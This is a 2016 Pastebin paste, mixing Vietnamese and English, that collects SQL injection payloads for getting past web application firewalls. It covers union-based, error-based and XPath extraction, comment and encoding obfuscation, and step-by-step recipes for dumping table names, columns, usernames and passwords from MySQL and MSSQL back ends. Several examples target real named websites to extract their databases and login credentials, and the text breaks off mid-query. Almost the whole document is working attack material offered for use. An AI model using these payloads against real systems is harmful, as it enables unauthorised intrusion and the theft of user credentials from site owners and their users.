Advertisement
Partha00011

alll waf bypassing methood

Feb 8th, 2016
302
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 37.25 KB | None | 0 0
  1.  
  2. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  3. ~~~~~~~~~~~~~~~~~~~~~~~~~~~:::::Injected By BD Inj3ct0r:::::~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  4. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  5.  
  6.  
  7. ------------------------------------ ***Dạng Basic "and=0":
  8. **Order lỗi : id=123 and=0 UNION SELECT 1,2-- -
  9. Get table,column,data như bt thêm "and=0" sau id.
  10. ---------------------------------------------------------------------------
  11. ***********Dạng /*!Union*/ /*!Select*/ :
  12.  
  13. **Tìm Order lỗi :link victim+null(-null,-id) /*!Union*/ /*!Select*/ 1,2,3...-- - **Get database :link victim+ /*!Union*/ /*!Select*/ 1,2,3,group_concat(/*!table_name*/) from information_schema./*!tables*/ where table_schema=database()-- -
  14. **Get Colum:link victim +/*!Union*/ /*!Select*/ 1,2,3,group_concat(/*!column_name*/) 4,5... from information_schema./*!columns*/ where /*!table_name*/=0x+mã hex table-- -
  15. **Get data :link victim +/*!Union*/ /*!Select*/ 1,2,3,group_concat(/*!tên cột,0x7c,tên cột,0x7c,tên cột,0x7c*/) from tên table-- -
  16. -----------------------------------------------------------------
  17. **********Bypass nâng cao dạng /*!Union*/ /*!Select*/ loại ẩn:
  18.  
  19.  
  20. ***Order lỗi : id=-... /*!Union*/ /*!Select*/ 1,2,3...-- -
  21. ***Get database :id=-... /*!Union*/ /*!Select*/ 1,unhex(hex(group_concat(/*!table_name*/))),3 from information_schema./*!tables*/ where /*!table_schema*/=database()-- -
  22. ***Get table :id=-... /*!Union*/ /*!Select*/ 1,unhex(hex(group_concat(/*!table_name*/))),3 from information_schema./*!tables*/ where /*!table_schema*/=database()-- -
  23. ***Get column:id=-... /*!Union*/ /*!Select*/ 1,unhex(hex(group_concat(/*!column_name*/))),3 from information_schema./*!columns*/ where /*!table_name*/=0x...()-- -
  24. ***Get data :id=-... /*!Union*/ /*!Select*/ 1,unhex(hex(group_concat(/*!tên cột,0x7c,tên cột,0x7c*/))),3 from table -- -
  25. ----------------------------------------------------------------
  26. ***************Dạng Bypass "=" chặn + ẩn :
  27.  
  28.  
  29. ***Order lỗi :id=-.../*!50000UNION*/ /*!50000SELECT*/ 1,2,3,4-- -
  30. ***Get database:id=-..../*!50000UNION*/ /*!50000SELECT*/ 1,2,unhex(hex(group_concat(/*!50000table_name*/))),4 from information_schema. /*!50000tables*/ where /*!50000table_schema*/+like+database()-- -
  31. ***Get column:id=-.../*!50000UNION*/ /*!50000SELECT*/ 1,2,unhex(hex(group_concat(/*!50000column_name*/))),4 from information_schema. /*!50000columns*/ where /*!50000table_name*/+like+0x...()-- -
  32. ***Get Data :id=-.../*!50000UNION*/ /*!50000SELECT*/ 1,2,unhex(hex(group_concat(/*!50000tên cột,0x7c,tên cột,0x7c*/))),4 from table-- -
  33. -----------------------------------------------------------------------
  34. ********************Dạng Bypass 403 limit ***(Khó)
  35.  
  36.  
  37. +++Order lỗi :id=-1'+/*!50000union+select*/+1,2,3,4 -- -
  38. +++Get table:id=-1'+/*!50000union+select*/+1,2,3,concat_ws(0x7c,table_name)+from+information_schema.tables+where+table_schema=database()+limit+1,1-- - ( Để biết thêm table tăng limit lên 1,1-2,1-3,1...)
  39. +++Get column:id=-1'+/*!50000union+select*/+1,2,3,concat_ws(0x7c,column_name)+from+information_schema.columns+where+table_name=0x...+limit+1,1-- -(Tăng limit)
  40. +++Get data :id=-1'+/*!50000union+select*/+1,2,3,concat_ws(0x7c,tên cột,tên cột)+from+tên table -- -
  41. --------------------------------------------------------------------------------------------
  42. ----------------------------------Bypass 403 limit ****(cực kì khó)*****
  43. ***Tìm order lỗi :id=-1+/*!50000union+select*/+1,2,3-- -
  44. ***Get table:id=-1+/*!50000union+select*/+1,2,unhex(hex(concat_ws/*!(0x7c,table_name)))+from+/*!information_schema*/.tables+where+table_schema=database()+limit+0,1-- -
  45. ***Get column:id=-1+/*!50000union+select*/+1,2,unhex(hex(concat_ws/*!(0x7c,column_name)))+from+/*!information_schema*/.columns+where+table_name=0x...+limit+0,1-- -
  46. ***Get data:id=-1+/*!50000union+select*/+1,2,unhex(hex(concat_ws/*!(0x7c,tên cột,tên cột))*/)+from+tên table-- -
  47. -------------------------------------------------------------------------
  48. ****Bypass Filter khó (1 order or nhiều order ) :
  49. ***Get table :id=-1 Union Select group_concat(table_name) FrOm infOrMation_schema.tables
  50. ***Get Column :id=-1 Union Select group_concat(column_name) FrOm infOrMation_schema.tables where table_name=0x...-- -
  51. Get Data:id=-1 Union Select group_concat(tên cột,0x7c,tên cột,0x7c) FrOm tên table-- -
  52. ------------------------------------------------------------------------
  53. Dạng id=-1 order by ....-- - không tìm được Order lỗi thì Biến đổi thành id=1' order by
  54. - rồi khai thác Bt.
  55. ~~~>K Get dk table thì id=-1' .... rồi khai thác BT.
  56.  
  57. ***************Dạng Table ẩn (UnIoN SeLeCT):
  58. **Order lỗi : id=-... UNION SELECT 1,2,3,...-- -
  59. **Get Database :id=-... UNION SELECT 1,2,database(),4,...-- - (Thay database() vào order lỗi ).
  60. **Get Table :id=-... UNION SELECT 1,2,unhex(hex(group_concat(table_name))),3,4,... from information_schema.tables where table_schema=database()-- -(Thêm unhex(hex nếu table dạng ẩn )
  61. **Get column :id=-... UNION SELECT 1,2,unhex(hex(group_concat(column_name))),4,5,... from information_schema.columns where table_name=0x mã hex table-- -
  62. **Get data :id=-... UNION SELECT 1,2,unhex(hex(group_concat(tên cột,0x7c,tên cột,0x7c,tên cột))),4,5,6,7,8,9,10,11,12,13 from tên table-- -
  63. -----------------------------------------
  64. ****************XPath Injection(erro base) :
  65. 1.and extractvalue(rand(),concat(0x7c,version(),0x7c,database(),0x7c,user()))-- -
  66. 2.and extractvalue(rand(),concat(0x7c,(select concat(0x7c,table_name) from information_schema.tables WHERE table_schema=database() limit 0,1)))-- -
  67. 3.and extractvalue(rand(),concat(0x7c,(select concat(0x7c,column_name) from information_schema.columns where table_name=0x"table" limit 0,1)))-- -
  68. 4.and extractvalue(rand(),concat(0x7c,(select concat("column",0x7c,"column") from "table" limit 0,1)))-- -
  69. -------------------------------------------
  70. ***Dạng Bypass Xpath( Khó )
  71. 1.' and extractvalue(rand(),concat/*!(0x7c,version(),0x7c,database(),0x7c,user())*/)-- - 2.' and extractvalue(rand(),concat/*!(*/0x7c,(select concat/*!(0x7c,table_name) from /*!information_schema*/.tables where table_schema=database() limit 0,1)))-- -
  72. 3.'and extractvalue(rand(),concat/*!(*/0x7c,(select concat/*!(0x7c,column_name) from /*!information_schema*/.columns where table_name=0x"table" limit 0,1)))-- -
  73. 4.'and extractvalue(rand(),concat/*!(*/0x7c,(select concat/*!("column",0x7c,"column") from "table" limit 0,1))*/)-- -
  74. -----------------------------------------
  75. *****************XPath Injection(erro base Cao Cấp )
  76. 1.or 1 group by concat(0x2f,version(),0x2f,database(),0x2f,user(),0x2f,floor(rand(0)*2)) having min(1) or 1-- -
  77. 2.and updatexml(0,concat(0x7c,(select concat(0x7c,table_name) from information_schema.tables WHERE table_schema=database() limit 0,1)),0)-- -
  78. 3.and updatexml(0,concat(0x7c,(select concat(0x7c,column_name) from information_schema.columns WHERE table_name=0x... limit 0,1)),0)-- -
  79. 4.and updatexml(0,concat(0x7c,(select concat(email,0x7c,password) from tên table limit 0,1)),0)-- -
  80. ---------------------------------------------
  81. ++Khai thác SQL = Erro Base
  82. http://demo-tainguyen.blogspot.com/…/khai-thac-error-based-…
  83. ++Khai thác SQL Blind :
  84. http://ceh.vn/@4rum/showthread.php?tid=1203
  85. ++ sqli form search(tùy site)
  86. 'and p.published =-1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19-- -
  87. 'and p.published =-1 UNION SELECT 1,unhex(hex(group_concat(table_name))),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 from information_schema.tables where table_schema=database()-- -
  88. 'and p.published =-1 UNION SELECT 1,unhex(hex(group_concat(column_name))),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 from information_schema.columns where table_name=0x62635f7573657273-- -
  89. 'and p.published =-1 UNION SELECT 1,unhex(hex(group_concat(username,0x2f,password))),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 from bc_users-- -
  90. Nguồn : copy
  91.  
  92.  
  93.  
  94.  
  95.  
  96.  
  97.  
  98.  
  99.  
  100. + SQL Basic
  101. + SQL ASPX
  102. -------------------------------------------------------------
  103. * Khai thác lỗi SQL cơ bản
  104. + Bước 1: order by 100-- -
  105. + Bước 2: union select 1,2,3,4,5,6,7,8,9,10-- -
  106. + Bước 3: union select 1,2,3,group_concat(table_name),5,6,7,8,9 from information_schema.tables-- -
  107. Rules: có thể sử dụng câu lệnh Unhex(hex
  108. =>>Bước 3: union select 1,2,3,unhex(hex(group_concat(table_name))),5,6,7,8 ,9 from information_schema.tables-- -
  109. + Bước 4: union select 1,2,3,group_concat(column_name),5,6,7,8,9 from information_schema.columns where table_schema=database()--
  110. + Bước 5: union select 1,2,3,group_concat(column_name),5,6,7,,8,9 from information_schema.columns where table_schema=database() and table_name=0x... -- -
  111. chú ý: ở chổ "..." là table mà được mã hóa sang mã hex
  112. =>> được username và password
  113. + Bước 6: union select 1,2,3,group_concat(username,0x20,password,0x20),5, 6,7,8,9 from table_name
  114. --------------------- The End Check Site SQL Basic --------------------
  115. * Khai thác lỗi SQL ASPX
  116. + Bước 1: and 1=convert(int,(select top 1 table_name from information_schema.tables))-- -
  117. + Bước 2: and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in ('tbl_DangNhap')-- -
  118. < not in (.....)-- -> viết lệnh tiếp để ra các table, có nghĩa là khi bạn có được "tbl" nào đó thì mình bỏ tiếp cái "tbl" đó vào để check cho nó xuất hiện "tbl" tiếp theo
  119. + Bước 3: and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name=('tbl_DangNhap') ))-- -
  120. =>> được thông số 'ID' tiếp
  121. and 1=convert(int,(select top 1 column name from information_schema.columns where table_name=('tbl_DangNhap') and column_name not in('ID') ))-- -
  122. được thông số 'username' tiếp
  123. and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name=('tbl_DangNhap') and column_name not in ('ID'),'username') ))-- -
  124. được thông số password
  125. + Bước 4: Khai thác thông tin username và password:
  126. username:
  127. and 1=convert(int,(select top 1 username from tbl_DangNhap))-- -
  128. passord:
  129. and 1=convert(int,select top 1 password from tbl_DangNhap))-- -
  130.  
  131.  
  132.  
  133.  
  134.  
  135.  
  136.  
  137.  
  138.  
  139. SQLI Injction WAF Bypass Methods With Details
  140. --'- : +--+ / : -- - : --+- : /*
  141. ) order by 1-- -
  142. ') order by 1-- -
  143.  
  144. ')order by 1%23%23
  145.  
  146. %')order by 1%23%23
  147.  
  148. Null' order by 100--+
  149.  
  150. Null' order by 9999--+
  151.  
  152. ')group by 99-- -
  153.  
  154. 'group by 119449-- -
  155.  
  156. 'group/**/by/**/99%23%23
  157.  
  158. union select ByPassing method
  159.  
  160. +union+distinct+select+
  161.  
  162. +union+distinctROW+select+
  163.  
  164. /**//*!12345UNION SELECT*//**/
  165.  
  166. /**//*!50000UNION SELECT*//**/
  167.  
  168. +/*!50000UnIoN*/ /*!50000SeLeCt aLl*/+
  169.  
  170. +/*!u%6eion*/+/*!se%6cect*/+
  171.  
  172. /**/uniUNIONon/**/aALLll/**/selSELECTect/**/
  173.  
  174. 1%')and(0)union(select(1),version(),3,4,5,6)%23%23%23
  175.  
  176. /*!50000%55nIoN*/+/*!50000%53eLeCt*/
  177.  
  178. union /*!50000%53elect*/
  179.  
  180. %55nion %53elect
  181.  
  182. +--+Union+--+Select+--+
  183.  
  184. +UnIoN/*&a=*/SeLeCT/*&a=*/
  185.  
  186. id=1+’UnI”On’+'SeL”ECT’
  187.  
  188. id=1+'UnI'||'on'+SeLeCT'
  189.  
  190. UnIoN SeLeCt CoNcAt(version())--
  191.  
  192. uNiOn aLl sElEcT
  193.  
  194. uUNIONnion all sSELECTelect
  195.  
  196. ===================================================================================================================================
  197. :: Buffer Overflow ::
  198. ===================================================================================================================================
  199. +And(select 1)=(select 0×414)+union+select+1–
  200.  
  201. +And(select 1)=(select 0xAAAA)+union+select+1–
  202.  
  203. +And(select 1)=(select 0×4141414141414141414141414141414141414141414141414141414141414141414141414 14141414141414141414141414141414141414141414141414141414141414141414141414141414 14141414141414141414141414141414141414141414141414141414141414141414141414141414 14141414141414141414141414141414141414141414141414141414141414141414141414141414 14141414141414141414141414141414141414141414141414141414141414141414141414141414 14141414141414141414141414141414141414141414141414141414141414141414141414141414 14141414141414141414141414141414141414141414141414141414141414141414141414141414 14141414141414141414141414141414141414141414141414141414141414141414141414141414 14141414141414141414141414141414141414141414141414141414141414141414141414141414 1414141)+
  204.  
  205. +and (/*!select*/ 1)=(/*!select*/ 0xAA)+
  206.  
  207. ==================================================================================================================================
  208. :: 400 Bad Request ::
  209. ==================================================================================================================================
  210. –+%0A
  211.  
  212. union+select+1–+%0A,2–+%0A,3–+%0A,4–+%0A,5–+%0A –
  213.  
  214. ==================================================================================================================================
  215. null the parameter
  216. ==================================================================================================================================
  217. id=-1
  218.  
  219. id=null
  220.  
  221. id=1+and+false+
  222.  
  223. id=9999
  224.  
  225. id=1 and 0
  226.  
  227. id==1
  228.  
  229. id=(-1)
  230.  
  231. =======================================================================================================================================
  232. Group_Concat
  233. =======================================================================================================================================
  234. Group_Concat
  235.  
  236. group_concat()
  237.  
  238. /*!group_concat*/()
  239.  
  240. grOUp_ConCat(/*!*/,0x3e,/*!*/)
  241.  
  242. group_concat(,0x3c62723e)
  243.  
  244. g%72oup_c%6Fncat%28%76%65rsion%28%29,%22~BlackRose%22%29
  245.  
  246. CoNcAt()
  247.  
  248. CONCAT(DISTINCT Version())
  249.  
  250. concat(,0x3a,)
  251.  
  252. concat%00()
  253.  
  254. %00CoNcAt()
  255.  
  256. /*!50000cOnCat*/(/*!Version()*/)
  257.  
  258. /*!50000cOnCat*/
  259.  
  260. /**//*!12345cOnCat*/(,0x3a,)
  261.  
  262. concat_ws()
  263.  
  264. concat(0x3a,,0x3c62723e)
  265.  
  266. /*!concat_ws(0x3a,)*/
  267.  
  268. concat_ws(0x3a3a3a,version()
  269.  
  270. CONCAT_WS(CHAR(32,58,32),version(),)
  271.  
  272. REVERSE(tacnoc)
  273.  
  274. binary(version())
  275.  
  276. uncompress(compress(version()))
  277.  
  278. aes_decrypt(aes_encrypt(version(),1),1)
  279.  
  280. ====================================================================================================================================
  281. To appear column numbr in page put after id
  282. ====================================================================================================================================
  283. id=1+and+1=0+union+select+1,2,3,4,5,6
  284.  
  285. +AND+1=0
  286.  
  287. /*!aND*/ 1 like 0
  288.  
  289. +/*!and*/+1=0
  290.  
  291. +and+2>3+
  292.  
  293. +and(1)=(0)
  294.  
  295. and (1)!=(0)
  296.  
  297. +div+0
  298.  
  299. Having+1=0
  300.  
  301. ===================================================================================================================================
  302. function ByPassing
  303. ===================================================================================================================================
  304. unhex(hex(value))
  305.  
  306. cast(value as char)
  307.  
  308. uncompress(compress(version()))
  309.  
  310. cast(version() as char)
  311.  
  312. aes_decrypt(aes_encrypt(version(),1),1)
  313.  
  314. binary(version())
  315.  
  316. convert(value using ascii)
  317.  
  318. ===================================================================================================================================
  319. avoid source page injection
  320. ===================================================================================================================================
  321. concat(?”>,
  322.  
  323. ,@@version,?
  324.  
  325. “>
  326. ?
  327.  
  328. injection
  329.  
  330. concat(0x223e,@@version)
  331.  
  332. concat(0x273e27,version(),0x3c212d2d)
  333.  
  334. concat(0x223e3c62723e,version(),0x3c696d67207372633d22)
  335.  
  336. concat(0x223e,@@version,0x3c696d67207372633d22)
  337.  
  338. concat(0x223e,0x3c62723e3c62723e3c62723e,@@version,0x3c696d67207372633d22,0x3c62723e)
  339.  
  340. concat(0x223e3c62723e,@@version,0x3a,”BlackRose”,0x3c696d67207372633d22)
  341.  
  342. concat(‘’,@@version,’’)
  343.  
  344. concat(0x273c2f7469746c653e27,@@version,0x273c7469746c653e27)
  345.  
  346. concat(0x273c2f7469746c653e27,version(),0x273c7469746c653e27)
  347.  
  348. ===================================================================================================================================
  349. get version – DB_NAME – user – HOST_NAME – datadir
  350. ===================================================================================================================================
  351. version()
  352.  
  353. convert(version() using latin1)
  354.  
  355. unhex(hex(version()))
  356.  
  357. @@GLOBAL.VERSION
  358.  
  359. (substr(@@version,1,1)=5) :: 1 true 0 fals
  360.  
  361. # like #
  362.  
  363. http://www.marinaplast.com/page.php?id=-13 union select 1,2,(substr(@@version,1,1)=5),4,5 –
  364.  
  365. ==================================================================================================================================
  366. +and substring(version(),1,1)=4
  367.  
  368. +and substring(version(),1,1)=5
  369.  
  370. +and substring(version(),1,1)=9
  371.  
  372. +and substring(version(),1,1)=10
  373.  
  374. id=1 /*!50094aaaa*/ error
  375.  
  376. id=1 /*!50095aaaa*/ no error
  377.  
  378. id=1 /*!50096aaaa*/ error
  379.  
  380. # like # http://www.marinaplast.com/page.php?id=13 /*!50095aaaa*/
  381.  
  382. id=1 /*!40123 1=1*/–+- no error
  383.  
  384. id=1 /*!40122rrrr*/ no error
  385.  
  386. # like # http://www.marinaplast.com/page.php?id=13 /*!40122rrrr*/ error not v4
  387. =================================================================================================================================
  388. DB_NAME()
  389. =================================================================================================================================
  390. @@database
  391. database()
  392. id=vv()
  393. # like # http://www.marinaplast.com/page.php?id=-13 union select 1,2,DB_NAME(),4,5 –
  394. http://www.marinaplast.com/page.php?id=vv()
  395. @@user
  396. user()
  397. user_name()
  398. system_user()
  399. # like # http://www.marinaplast.com/page.php?id=-13 union select 1,2,user(),4,5 –
  400.  
  401. HOST_NAME()
  402. @@hostname
  403. @@servername
  404. SERVERPROPERTY()
  405.  
  406. # like # http://www.marinaplast.com/page.php?id=-13 union select 1,2,HOST_NAME(),4,5 –
  407. @@datadir
  408. datadir()
  409. # like # http://www.marinaplast.com/page.php?id=-13 union select 1,2,datadir(),4,5 –
  410. ASPX
  411. and 1=0/@@version
  412. ‘ and 1=0/@@version;–
  413. ‘) and 1=@@version–
  414. and 1=0/user;–
  415.  
  416. Requested method
  417. [DUMP DB in 1 Request]
  418.  
  419. (select (@) from (select(@:=0×00),(select (@) from (information_schema.columns) where (table_schema>=@) and (@)in (@:=concat(@,0x0a,’ [ ',table_schema,' ] >’,table_name,’ > ‘,column_name))))x)
  420.  
  421. (select(@) from (select (@:=0×00),(select (@) from (table) where (@) in (@:=concat(@,0x0a,column1,0x3a,column2))))a)
  422. ===================================================================================================================================
  423. [DUMP DB in 1 Request improve]
  424. ===================================================================================================================================
  425.  
  426. (select(@x)from(select(@x:=0×00),(select(0)from(information_schema.columns)where(table_schema!=0x696e666f726d6174696f6e5f736368656d61)and(0×00)in(@x:=concat(@x,0x3c62723e,table_schema,0x2e,table_name,0x3a,column_name))))x)
  427.  
  428. like
  429. http://www.marinaplast.com/page.php?id=-13 union select 1,2,(select(@x)from(select(@x:=0×00),(select(0)from(information_schema.colu mns)where(table_schema!=0x696e666f726d6174696f6e5f736368656d61)and(0×00)in(@x:=c oncat(@x,0x3c62723e,table_schema,0x2e,table_name,0x3a,column_name))))x),4,5 –
  430. ===================================================================================================================================
  431. #2#
  432. ===================================================================================================================================
  433. method like DUMP DB in 1 Request
  434. ===================================================================================================================================
  435. concat(@i:=0×00,@o:=0xd0a,benchmark(40,@o:=CONCAT( @o,0xd0a,(SELECT concat(table_schema,0x2E,@i:=table_name) FROM information_schema.tables WHERE table_name>@i order by table_name LIMIT 1)))
  436. like
  437. http://www.mishnetorah.com/shop/details.php…(@i:=0×00,@o:=0xd0a,benchmark(40,@o:=CONCAT(@o,0xd0a ,(SELECT concat(table_schema,0x2E,@i:=table_name) FROM information_schema.tables WHERE table_name>@i order by table_name LIMIT 1))),@o),5,6,7,8,9,10, 11,12,13,14,15,16,17,18,19,20,21
  438. ===================================================================================================================================
  439. #3#
  440. ===================================================================================================================================
  441. databases
  442.  
  443. (select+count(schema_name) +from+information_schema.schemata)
  444.  
  445. # like #
  446. http://www.marinaplast.com/page.php?id=-13 union select 1,2,(select+count(schema_name) +from+information_schema.schemata),4,5 –
  447.  
  448. tables
  449. (select+count(table_name) +from+information_schema.tables)
  450. # like #
  451. http://www.marinaplast.com/page.php?id=-13 union select 1,2,(select+count(table_name) +from+information_schema.tables),4,5 –
  452.  
  453. columns
  454. (select+count(column_name) +from+information_schema.columns)
  455. # like #
  456. http://www.marinaplast.com/page.php?id=-13 union select 1,2,(select+count(column_name) +from+information_schema.columns),4,5 –
  457. ===================================================================================================================================
  458. #4#
  459. ===================================================================================================================================
  460. show the table with all her columns
  461.  
  462. CONCAT(table_name,0x3e,GROUP_CONCAT(column_name))
  463.  
  464. +FROM information_schema.columns WHERE table_schema=database() GROUP BY table_name LIMIT 1,1–+
  465.  
  466. like
  467. http://www.marinaplast.com/page.php?id=-13 union select 1,2,CONCAT(table_name,0x3e,GROUP_CONCAT(column_name)),4,5 +FROM information_schema.columns WHERE table_schema=database() GROUP BY table_name LIMIT 0,1–+
  468. ===================================================================================================================================
  469. #5#WWWWWWWWWWWAAAAAAAAAAAAAAAAAAFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
  470. ===================================================================================================================================
  471. feltered requested
  472.  
  473. # tables #
  474. group_concat(/*!table_name*/)
  475.  
  476. +/*!froM*/ /*!InfORmaTion_scHema*/.tAblES– -
  477.  
  478. /*!froM*/ /*!InfORmaTion_scHema*/.tAblES /*!WhERe*/ /*!TaBle_ScHEmA*/=schEMA()– -
  479.  
  480. /*!From*/+%69nformation_schema./**/tAblES+/*!50000Where*/+/*!%54able_ScHEmA*/=schEMA()– -
  481. ===================================================================================================================================
  482. # columns #
  483. ===================================================================================================================================
  484. group_concat(/*!column_name*/)
  485.  
  486. +/*!froM*/ InfORmaTion_scHema.cOlumnS /*!WheRe*/ /*!tAblE_naMe*/=hex table
  487.  
  488. /*!From*/+%69nformation_schema./**/columns+/*!50000Where*/+/*!%54able_name*/=hex table
  489.  
  490. /*!froM*/ table– -
  491. ===================================================================================================================================
  492. #6#
  493. ===================================================================================================================================
  494. bypass method
  495.  
  496. (select+group_concat(/*!table_name*/)+/*!From*/+%69nformation_schema./**/tAblES+/*!50000Where*/+/*!%54able_ScHEmA*/=schEMA())
  497.  
  498. (select+group_concat(/*!column_name*/)+/*!From*/+%69nformation_schema./**/columns+/*!50000Where*/+/*!%54able_name*/=hex table)
  499.  
  500. like
  501. http://www.marinaplast.com/page.php?id=-13 union select 1,2,(select+group_concat(/*!table_name*/)+/*!From*/+%69nformation_schema./**/tAblES+/*!50000Where*/+/*!%54able_ScHEmA*/=schEMA()),4,5 –
  502. ===================================================================================================================================
  503. #7#
  504. ===================================================================================================================================
  505. bypass method
  506.  
  507. unhex(hex(Concat(Column_Name,0x3e,Table_schema,0x3e,table_Name)))
  508.  
  509. /*!from*/information_schema.columns/*!where*/column_name%20/*!like*/char(37,%20112,%2097,%20115,%20115,%2037)
  510.  
  511. like
  512. http://www.marinaplast.com/page.php?id=-13 union select 1,2,unhex(hex(Concat(Column_Name,0x3e,Table_schema,0x3e,table_Name))),4,5 /*!from*/information_schema.columns/*!where*/column_name%20/*!like*/char(37,%20112,%2097,%20115,%20115,%2037)–
  513.  
  514. ===================================================================================================================================
  515. [+] Union Select:
  516. ===================================================================================================================================
  517. union /*!select*/+
  518. union/**/select/**/
  519. /**/union/**/select/**/
  520. /**/union/*!50000select*/
  521. /**//*!12345UNION SELECT*//**/
  522. /**//*!50000UNION SELECT*//**/
  523. /**/uniUNIONon/**/selSELECTect/**/
  524. /**/uniUNIONon/**/aALLll/**/selSELECTect/**/
  525. /**//*!union*//**//*!select*//**/
  526. /**/UNunionION/**/SELselectECT/**/
  527. /**//*UnIOn*//**//*SEleCt*//**/
  528. /**//*U*//*n*//*I*//*O*//*n*//**//*S*//*E*//*l*//*e*//*C*//*t*//**/
  529. /**/UNunionION/**/all/**/SELselectECT/**/
  530. /**//*UnIOn*//**/all/**//*SEleCt*//**/
  531. /**//*U*//*n*//*I*//*O*//*n*//**//*all*//**//*S*//*E*//*l*//*e*//*C*//*t*//**/
  532. uni
  533. %20union%20/*!select*/%20
  534. union%23aa%0Aselect
  535. union+distinct+select+
  536. union+distinctROW+select+
  537. /*!20000%0d%0aunion*/+/*!20000%0d%0aSelEct*/
  538. %252f%252a*/UNION%252f%252a /SELECT%252f%252a*/
  539. %23sexsexsex%0AUnIOn%23sexsexsex%0ASeLecT+
  540. /*!50000UnIoN*/ /*!50000SeLeCt aLl*/+
  541. /*!u%6eion*/+/*!se%6cect*/+
  542. 1%’)and(0)union(select(1),version(),3,4,5,6)%23%23%23
  543. /*!50000%55nIoN*/+/*!50000%53eLeCt*/
  544. union /*!50000%53elect*/
  545. +%2F**/+Union/*!select*/
  546. %55nion %53elect
  547. +–+Union+–+Select+–+
  548. +UnIoN/*&a=*/SeLeCT/*&a=*/
  549. uNiOn aLl sElEcT
  550. uUNIONnion all sSELECTelect
  551. union(select(1),2,3)
  552. union (select 1111,2222,3333)
  553. union (/*!/**/ SeleCT */ 11)
  554. %0A%09UNION%0CSELECT%10NULL%
  555. /*!union*//*–*//*!all*//*–*//*!select*/
  556. union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A1% 2C2%2C
  557. union+sel%0bect
  558. +uni*on+sel*ect+
  559. +‪#‎1q‬%0Aunion all#qa%0A#%0Aselect 1,2,3,4,5,6,7,8,9,10%0A#a
  560. union(select (1),(2),(3),(4),(5))
  561. UNION(SELECT(column)FROM(table))
  562. id=1+’UnI”On’+’SeL”ECT’
  563. id=1+’UnI’||’on’+SeLeCT’
  564. union select 1–+%0A,2–+%0A,3–+%0A etc ….
  565. ===================================================================================================================================
  566. [+] Buffer overflow:
  567. ===================================================================================================================================
  568. +And(select 1)=(select 0×414)+union+select+1–
  569. +And(select 1)=(select 0xAAAA)+union+select+1–
  570. +and (/*!select*/ 1)=(/*!select*/ 0xAA)+
  571. +and (/*!select*/ 1)=(/*!select*/ 0×414)+
  572. +And(select 1)=(select 0×4141414141414141414141414141414141414141414141414141414141414141414141414?1414 14141414141414141414141414141414141414141414141414141414141414141414141414141414 1414141414141414141414141414141414141414141414141414141414141414141414141414?141 41414141414141414141414141414141414141414141414141414141414141414141414141414141 41414141414141414141414141414141414141414141414141414141414141414141414141414141 41414141414141414141414141414141414141414141414141414141414141414141414141414141 41414141414141414141414141414141414141414141414141414141414141414141414141414141 41414141414141414141414141414141414141414141414141414141414141414141414141414141 41414141414141414141414141414141414141414141414141414141414141414141414141414141 4141)+
  573. ===================================================================================================================================
  574. [+] Group Concat:
  575. ===================================================================================================================================
  576. Group_Concat
  577. group_concat()
  578. /*!group_concat*/()
  579. grOUp_ConCat(/*!*/,0x3e,/*!*/)
  580. group_concat(,0x3c62723e)
  581. g%72oup_c%6Fncat%28%76%65rsion%28%29,%22testtest%22%29
  582. CoNcAt()
  583. CONCAT(DISTINCT Version())
  584. concat(,0x3a,)
  585. concat%00()
  586. %00CoNcAt()
  587. /*!50000cOnCat*/(/*!Version()*/)
  588. /*!50000cOnCat*/
  589. /**//*!12345cOnCat*/(,0x3a,)
  590. concat_ws()
  591. concat(0x3a,,0x3c62723e)
  592. /*!concat_ws(0x3a,)*/
  593. concat_ws(0x3a3a3a,version()
  594. CONCAT_WS(CHAR(32,58,32),version(),)
  595. ===================================================================================================================================
  596. ERORE BASED
  597. ===================================================================================================================================
  598. =21 or 1 group by concat_ws(0x3a,version(),floor(rand(0)*2)) having min(0) or 1–
  599.  
  600. Database
  601.  
  602. 21 and (select 1 from (select count(*),concat((select(select concat(cast(database() as char),0x7e)) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
  603.  
  604. Table_name
  605.  
  606. and (select 1 from (select count(*),concat((select(select concat(cast(table_name as char),0x7e)) from information_schema.tables where table_schema=database() limit 19,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
  607.  
  608. Columns
  609.  
  610. 21 and (select 1 from (select count(*),concat((select(select concat(cast(column_name as char),0x7e)) from information_schema.columns where table_name=0x73657474696e6773 limit 2,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
  611.  
  612. extract date
  613.  
  614. http://www.aliqbalschools.org/index.php… and (select 1 from (select count(*),concat((select(select concat(cast(concat(userName,0x7e,passWord) as char),0x7e)) from iqbal_iqbal.settings limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
  615.  
  616. Notice the limit function in the query
  617. A website can have more than 2 two databases, so increase the limit until you find all database names
  618. Example: limit 0,1 or limit 1,1 or limit 2,1
  619. ===================================================================================================================================
  620. Differences:
  621. Error Based Query for Database Extraction:
  622. ===================================================================================================================================
  623. and (select 1 from (select count(*),concat((select(select concat(cast(database() as char),0x7e)) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
  624.  
  625. Double Query for Database Extraction:
  626.  
  627. and(select 1 from(select count(*),concat((select (select concat(0x7e,0×27,cast(database() as char),0×27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from
  628. information_schema.tables group by x)a) and 1=1
  629.  
  630. and(select 1 from(select count(*),concat((select (select (SELECT distinct
